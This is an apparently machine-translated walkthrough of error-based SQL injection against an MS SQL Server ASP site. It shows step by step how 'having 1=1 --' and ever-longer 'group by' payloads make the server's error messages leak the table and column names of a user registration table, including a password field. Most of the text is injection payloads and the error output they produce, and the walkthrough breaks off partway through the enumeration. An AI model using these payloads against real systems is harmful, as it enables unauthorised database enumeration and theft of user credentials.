SQL constructor statement brute force field

Source: Internet
Author: User

1. Obtain the table name and field name of the created user. Use the having clause in the select syntax.
**************************************** **************************************** **
Having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_id is invalid in the selection list because it is not included in the aggregate function and has no group by clause.
/Football/reguser/check. asp, row 26
Result: The table name reguser and the first field name reguser. reg_id are known.

2. Place fields in the group by clause to find the field name.
1,
**************************************** **************************************** **
Group by reguser. reg_id having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_name is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_name field is obtained.
2,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_password is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_password field is obtained.
3,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_relname is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_relname field is obtained.
4,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_regtime is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_regtime field is obtained.
5,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_findimethyl is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_findimethyl field is obtained.
6,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime, reguser. reg_findimethyl having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_city is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_city field is obtained.
7,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,

Reguser. reg_findimethyl, reguser. reg_city having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_qq is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_qq field is obtained.
8,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,

Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_icq is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_icq field is obtained.
9,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,

Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_msn is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_msn field is obtained.
10,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,

Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq, reguser. reg_msn having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_phone is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_phone field is obtained.
11,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,

Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq, reguser. reg_msn, reguser. reg_phone having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_class is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_class field is obtained.
12,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,

Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq, reguser. reg_msn, reguser. reg_phone, reguser. reg_class having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_money is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_money field is obtained.
13,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,

Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq, reguser. reg_msn, reguser. reg_phone,

Reguser. reg_class, reguser. reg_money having 1 = 1 --
****************************

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.